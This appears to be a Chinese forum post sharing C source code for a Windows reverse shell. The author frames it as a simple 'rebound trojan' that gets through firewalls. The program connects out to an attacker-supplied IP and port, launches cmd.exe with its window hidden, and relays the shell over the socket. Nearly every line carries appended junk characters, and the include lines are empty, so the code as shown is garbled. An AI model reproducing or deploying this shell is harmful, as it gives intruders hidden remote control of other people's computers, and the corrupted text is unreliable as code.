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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 *X4PM\ck  
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/* ============================== c wOJy >  
Rebound port in Windows NT S6fL>'uQ  
By wind,2006/7 fgBM_c&9T  
===============================*/ vmLxkjUm#  
#include J]q%gcM  
#include \TF!S"V  
v*9<c{a  
#pragma comment(lib,"wsock32.lib") n_B"- n  
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void OutputShell(); V=lfl1Ev0J  
SOCKET sClient; Y;)dct  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; {U84 _Pi  
P|HKn,ar  
void main(int argc,char **argv) F*.g;So  
{ tqy@iEz+  
WSADATA stWsaData; [xT:]Pw}  
int nRet; l/Vo-#  
SOCKADDR_IN stSaiClient,stSaiServer; A.D{.a  
l27\diKPJ  
if(argc != 3) V~ TWKuR  
{ CEC nq3  
printf("Useage:\n\rRebound DestIP DestPort\n"); 5l,ZoB8  
return; e5OsI Vtjr  
} 0jzbG]pc:E  
_ z;q9&J)  
WSAStartup(MAKEWORD(2,2),&stWsaData); W,K%c=  
7#~+@'Oe  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %J8|zKT5t  
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stSaiClient.sin_family = AF_INET; #_B-4sm  
stSaiClient.sin_port = htons(0); Cn_$l>  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); jn: NYJv  
k2xHH$+{#=  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 'oN\hy($,h  
{ 1&/FG(*/  
printf("Bind Socket Failed!\n"); gh>>Ibf  
return; jA(>sz  
} 3&x-}y~sg  
}'OHE(s  
stSaiServer.sin_family = AF_INET; :0/q5_t  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 4HAp{a1  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 7t?*  
k/03ZxC-  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) U;n*j3wT  
{ U#n#7G6fRp  
printf("Connect Error!"); `y+-H|%?  
return; 9 C{;h  
} x'zBK0i  
OutputShell(); hb/]8mR  
} ms_ VM>l  
{ls+d x/  
void OutputShell() p7ir*r/2  
{ Fxc)}i`   
char szBuff[1024]; UA~RK2k?  
SECURITY_ATTRIBUTES stSecurityAttributes; +x]9+D&  
OSVERSIONINFO stOsversionInfo; Gd+ET  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; @h?shW=^  
STARTUPINFO stStartupInfo; }YOL"<,:o  
char *szShell; <} jPXEB"  
PROCESS_INFORMATION stProcessInformation; E(Rh#+]Y5  
unsigned long lBytesRead; b.O9ITR  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); I5AO?BzJ  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); XCsiEKZ_i  
stSecurityAttributes.lpSecurityDescriptor = 0; 7B3w\  
stSecurityAttributes.bInheritHandle = TRUE; Gq#~vr  
J!ntXF  
XI Jlc~2  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ?8, %LIQ?  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ZAuWx@}  
)R_E|@"  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); I NSkgOo  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W/=|/-\]/  
stStartupInfo.wShowWindow = SW_HIDE; fWGOP~0  
stStartupInfo.hStdInput = hReadPipe; mqfO4"lt  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; r$wZt  
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GetVersionEx(&stOsversionInfo); i v(5&'[p  
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switch(stOsversionInfo.dwPlatformId) %OcGdbs  
{  \4ghYQ:  
case 1: uqyB5V0gh  
szShell = "command.com"; 02AI%OOH  
break; $!A:5jech  
default: 1on'^8]0  
szShell = "cmd.exe"; jx_4B%kzq  
break; V+wH?H=  
} Vy G4(X va  
MVv1.6c7Y  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); O(H1P[  
t>UkE9=3\  
send(sClient,szMsg,77,0); N?4q  
while(1) !wLg67X$ -  
{ tZWrz e^  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ~:sE:9$z  
if(lBytesRead) _'x8M  
{ fn{S "33"  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); BRG|Asg(  
send(sClient,szBuff,lBytesRead,0); &217l2X /  
} ~H@+D}J?  
else a?cn9i)#  
{ ?Ce#BwQ>  
lBytesRead=recv(sClient,szBuff,1024,0); cm>E[SHr  
if(lBytesRead<=0) break; zjX7C~h^Q  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 1ywU@].6J]  
} QYE7p\  
} &$fbP5uAZ  
 h=RD O  
return; @y~P&HUN  
}
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